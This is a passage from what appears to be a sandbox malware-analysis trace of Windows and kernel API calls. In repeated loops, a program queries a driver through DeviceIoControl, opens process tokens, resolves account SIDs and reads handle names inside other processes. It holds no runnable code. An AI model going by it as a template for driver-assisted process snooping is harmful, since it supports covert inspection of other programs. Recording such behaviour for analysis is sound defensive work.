ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.503] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.503] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.503] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x220) returned 0xc0 [0094.503] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.503] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8001fc6060, HandleInformation=0x0) returned 0x0 [0094.504] ObOpenObjectByPointer (in: Object=0xfffffa8001fc6060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bbc) returned 0x0 [0094.504] ObfDereferenceObject (Object=0xfffffa8001fc6060) returned 0x12 [0094.504] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bbc, DesiredAccess=0x8, TokenHandle=0xfffffa800219f340 | out: TokenHandle=0xfffffa800219f340*=0xc8) returned 0x0 [0094.504] ZwClose (Handle=0xffffffff80000bbc) returned 0x0 [0094.504] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.504] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.504] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.505] CloseHandle (hObject=0xc8) returned 1 [0094.505] CloseHandle (hObject=0xc0) returned 1 [0094.505] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.505] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.505] PsLookupProcessByProcessId (in: ProcessId=0x220, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.505] PsAcquireProcessExitSynchronization () returned 0x0 [0094.506] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc6060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001fc6060, ApcState=0xfffff880052335d0) [0094.506] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800204e730, HandleInformation=0x0) returned 0x0 [0094.506] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.506] PsReleaseProcessExitSynchronization () returned 0x2 [0094.506] ObfDereferenceObject (Object=0xfffffa8001fc6060) returned 0x10 [0094.506] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001edd044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001edd044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.506] ObfDereferenceObject (Object=0xfffffa800204e730) returned 0x1 [0094.506] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.506] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.506] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.506] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0094.506] PsLookupProcessByProcessId (in: ProcessId=0x220, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.506] PsAcquireProcessExitSynchronization () returned 0x0 [0094.506] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc6060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001fc6060, ApcState=0xfffff880052335d0) [0094.506] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800205dbb0, HandleInformation=0x0) returned 0x0 [0094.506] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.506] PsReleaseProcessExitSynchronization () returned 0x2 [0094.506] ObfDereferenceObject (Object=0xfffffa8001fc6060) returned 0x10 [0094.506] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ee1044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ee1044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.506] ObfDereferenceObject (Object=0xfffffa800205dbb0) returned 0x1 [0094.506] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.506] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.506] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.506] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.506] PsLookupProcessByProcessId (in: ProcessId=0x220, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.506] PsAcquireProcessExitSynchronization () returned 0x0 [0094.506] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc6060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001fc6060, ApcState=0xfffff880052335d0) [0094.506] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.506] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.506] PsReleaseProcessExitSynchronization () returned 0x2 [0094.506] ObfDereferenceObject (Object=0xfffffa8001fc6060) returned 0x10 [0094.507] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001f8a044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001f8a044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.507] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.507] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.507] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.507] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x248) returned 0xc0 [0094.507] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.507] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8002065b30, HandleInformation=0x0) returned 0x0 [0094.507] ObOpenObjectByPointer (in: Object=0xfffffa8002065b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bbc) returned 0x0 [0094.507] ObfDereferenceObject (Object=0xfffffa8002065b30) returned 0x12 [0094.507] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bbc, DesiredAccess=0x8, TokenHandle=0xfffffa800219f340 | out: TokenHandle=0xfffffa800219f340*=0xc8) returned 0x0 [0094.507] ZwClose (Handle=0xffffffff80000bbc) returned 0x0 [0094.507] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.507] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.507] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.508] CloseHandle (hObject=0xc8) returned 1 [0094.508] CloseHandle (hObject=0xc0) returned 1 [0094.508] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.508] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.508] PsLookupProcessByProcessId (in: ProcessId=0x248, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.509] PsAcquireProcessExitSynchronization () returned 0x0 [0094.509] KeStackAttachProcess (in: PROCESS=0xfffffa8002065b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002065b30, ApcState=0xfffff880052335d0) [0094.509] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800206eea0, HandleInformation=0x0) returned 0x0 [0094.509] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.509] PsReleaseProcessExitSynchronization () returned 0x2 [0094.509] ObfDereferenceObject (Object=0xfffffa8002065b30) returned 0x10 [0094.509] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233508) returned 0x0 [0094.509] ObfDereferenceObject (Object=0xfffffa800206eea0) returned 0x1 [0094.509] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.509] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.509] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.509] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0094.509] PsLookupProcessByProcessId (in: ProcessId=0x248, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.509] PsAcquireProcessExitSynchronization () returned 0x0 [0094.509] KeStackAttachProcess (in: PROCESS=0xfffffa8002065b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002065b30, ApcState=0xfffff880052335d0) [0094.509] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800206e2b0, HandleInformation=0x0) returned 0x0 [0094.509] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.509] PsReleaseProcessExitSynchronization () returned 0x2 [0094.509] ObfDereferenceObject (Object=0xfffffa8002065b30) returned 0x10 [0094.509] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.509] ObfDereferenceObject (Object=0xfffffa800206e2b0) returned 0x1 [0094.509] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.509] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.509] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.509] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.509] PsLookupProcessByProcessId (in: ProcessId=0x248, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.509] PsAcquireProcessExitSynchronization () returned 0x0 [0094.509] KeStackAttachProcess (in: PROCESS=0xfffffa8002065b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002065b30, ApcState=0xfffff880052335d0) [0094.509] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.509] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.510] PsReleaseProcessExitSynchronization () returned 0x2 [0094.510] ObfDereferenceObject (Object=0xfffffa8002065b30) returned 0x10 [0094.510] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233550) returned 0x0 [0094.510] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.510] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.510] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.510] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x80c) returned 0xc0 [0094.510] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.510] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa800208e520, HandleInformation=0x0) returned 0x0 [0094.510] ObOpenObjectByPointer (in: Object=0xfffffa800208e520, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bbc) returned 0x0 [0094.510] ObfDereferenceObject (Object=0xfffffa800208e520) returned 0x12 [0094.510] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bbc, DesiredAccess=0x8, TokenHandle=0xfffffa800219f340 | out: TokenHandle=0xfffffa800219f340*=0xc8) returned 0x0 [0094.510] ZwClose (Handle=0xffffffff80000bbc) returned 0x0 [0094.510] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.510] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.510] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.511] CloseHandle (hObject=0xc8) returned 1 [0094.511] CloseHandle (hObject=0xc0) returned 1 [0094.511] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.511] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.512] PsLookupProcessByProcessId (in: ProcessId=0x80c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.512] PsAcquireProcessExitSynchronization () returned 0x0 [0094.512] KeStackAttachProcess (in: PROCESS=0xfffffa800208e520, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800208e520, ApcState=0xfffff880052335d0) [0094.512] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800208edc0, HandleInformation=0x0) returned 0x0 [0094.512] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.512] PsReleaseProcessExitSynchronization () returned 0x2 [0094.512] ObfDereferenceObject (Object=0xfffffa800208e520) returned 0x10 [0094.512] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233508) returned 0x0 [0094.512] ObfDereferenceObject (Object=0xfffffa800208edc0) returned 0x1 [0094.512] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.512] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.512] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.512] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0094.512] PsLookupProcessByProcessId (in: ProcessId=0x80c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.512] PsAcquireProcessExitSynchronization () returned 0x0 [0094.512] KeStackAttachProcess (in: PROCESS=0xfffffa800208e520, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800208e520, ApcState=0xfffff880052335d0) [0094.512] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020927e0, HandleInformation=0x0) returned 0x0 [0094.512] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.512] PsReleaseProcessExitSynchronization () returned 0x2 [0094.512] ObfDereferenceObject (Object=0xfffffa800208e520) returned 0x10 [0094.512] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80026027c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80026027c4, ReturnLength=0xfffff88005233508) returned 0x0 [0094.512] ObfDereferenceObject (Object=0xfffffa80020927e0) returned 0x1 [0094.512] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.512] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.512] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.512] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.512] PsLookupProcessByProcessId (in: ProcessId=0x80c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.512] PsAcquireProcessExitSynchronization () returned 0x0 [0094.512] KeStackAttachProcess (in: PROCESS=0xfffffa800208e520, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800208e520, ApcState=0xfffff880052335d0) [0094.512] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.512] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.512] PsReleaseProcessExitSynchronization () returned 0x2 [0094.513] ObfDereferenceObject (Object=0xfffffa800208e520) returned 0x10 [0094.513] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80038c97c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038c97c4, ReturnLength=0xfffff88005233550) returned 0x0 [0094.513] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.513] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.513] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.513] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x81c) returned 0xc0 [0094.513] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.513] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa80020a3b30, HandleInformation=0x0) returned 0x0 [0094.513] ObOpenObjectByPointer (in: Object=0xfffffa80020a3b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bbc) returned 0x0 [0094.513] ObfDereferenceObject (Object=0xfffffa80020a3b30) returned 0x12 [0094.513] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bbc, DesiredAccess=0x8, TokenHandle=0xfffffa800219f340 | out: TokenHandle=0xfffffa800219f340*=0xc8) returned 0x0 [0094.513] ZwClose (Handle=0xffffffff80000bbc) returned 0x0 [0094.513] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.513] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.513] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.514] CloseHandle (hObject=0xc8) returned 1 [0094.514] CloseHandle (hObject=0xc0) returned 1 [0094.514] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.515] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.515] PsLookupProcessByProcessId (in: ProcessId=0x81c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.515] PsAcquireProcessExitSynchronization () returned 0x0 [0094.515] KeStackAttachProcess (in: PROCESS=0xfffffa80020a3b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020a3b30, ApcState=0xfffff880052335d0) [0094.515] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020a2f20, HandleInformation=0x0) returned 0x0 [0094.515] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.515] PsReleaseProcessExitSynchronization () returned 0x2 [0094.515] ObfDereferenceObject (Object=0xfffffa80020a3b30) returned 0x10 [0094.515] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.515] ObfDereferenceObject (Object=0xfffffa80020a2f20) returned 0x1 [0094.515] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.515] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.515] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.515] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, 